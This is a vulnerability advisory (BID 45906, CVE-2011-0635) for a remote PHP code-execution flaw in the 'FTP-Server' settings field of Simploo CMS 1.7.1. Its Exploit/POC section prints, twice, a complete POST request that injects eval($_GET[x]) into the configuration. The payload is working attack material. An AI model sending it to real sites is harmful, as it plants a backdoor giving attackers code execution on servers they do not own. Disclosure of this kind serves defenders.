Simploo CMS 'FTP-Server' Field Remote PHP Code Execution Vulnerability
BID:45906
Info
Simploo CMS 'FTP-Server' Field Remote PHP Code Execution Vulnerability
| Bugtraq ID: | 45906 |
| Class: | Input Validation Error |
| CVE: |
CVE-2011-0635 |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 18 2011 12:00AM |
| Updated: | Apr 13 2015 09:02PM |
| Credit: | David Vieira-Kurz, MajorSecurity |
| Vulnerable: |
Simploo GmbH Simploo CMS Community Edition 1.7.1 |
| Not Vulnerable: | |
Discussion
Simploo CMS 'FTP-Server' Field Remote PHP Code Execution Vulnerability
Simploo CMS is prone to a remote PHP code-execution vulnerability because the application fails to sufficiently sanitize user-supplied input.
Exploiting this issue will allow attackers to execute arbitrary code within the context of the webserver.
Simploo CMS 1.7.1 is vulnerable; other versions may also be affected.
Simploo CMS is prone to a remote PHP code-execution vulnerability because the application fails to sufficiently sanitize user-supplied input.
Exploiting this issue will allow attackers to execute arbitrary code within the context of the webserver.
Simploo CMS 1.7.1 is vulnerable; other versions may also be affected.
Exploit / POC
Simploo CMS 'FTP-Server' Field Remote PHP Code Execution Vulnerability
Attackers can use a browser to exploit this issue.
The following example POST request is available:
POST /simploo/index.php/sicore/updates/optionssave HTTP/1.1
Host: localhost User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; de;
rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6
Accept: application/json, text/javascript, */*
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate Accept-Charset:
ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest Referer:
http://localhost/simploo/index.php/sifront/page/show/%5Bdraft%5D1
Cookie: PHPSESSID=r87k31lhqmbp9707io8r6qr2p6;
si_admin_selected=si_tree_settings_updates_options;
si_admin_open=si_tree_settings_general%2Csi_tree_settings_general_system%2Csi_tree_settings_updates%2Csi_tree_settings_bemodules%2Csi_tree_settings_contentelements
Pragma: no-cache Cache-Control: no-cache Content-Length: 105
ftpenable=&ftpserver=*%2F+eval%28%24_GET%5Bx%5D%29%3B%2F*&ftpuser=&ftppass=&ftppasv=0&ftpssl=0&ftpremote=
Attackers can use a browser to exploit this issue.
The following example POST request is available:
POST /simploo/index.php/sicore/updates/optionssave HTTP/1.1
Host: localhost User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; de;
rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6
Accept: application/json, text/javascript, */*
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate Accept-Charset:
ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest Referer:
http://localhost/simploo/index.php/sifront/page/show/%5Bdraft%5D1
Cookie: PHPSESSID=r87k31lhqmbp9707io8r6qr2p6;
si_admin_selected=si_tree_settings_updates_options;
si_admin_open=si_tree_settings_general%2Csi_tree_settings_general_system%2Csi_tree_settings_updates%2Csi_tree_settings_bemodules%2Csi_tree_settings_contentelements
Pragma: no-cache Cache-Control: no-cache Content-Length: 105
ftpenable=&ftpserver=*%2F+eval%28%24_GET%5Bx%5D%29%3B%2F*&ftpuser=&ftppass=&ftppasv=0&ftpssl=0&ftpremote=
Solution / Fix
Simploo CMS 'FTP-Server' Field Remote PHP Code Execution Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected] vulnerability because it fails to sufficiently sanitize user-supplied data
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected] vulnerability because it fails to sufficiently sanitize user-supplied data
References
Simploo CMS 'FTP-Server' Field Remote PHP Code Execution Vulnerability
References:
References:
- Simploo CMS Homepage (Simploo GmbH)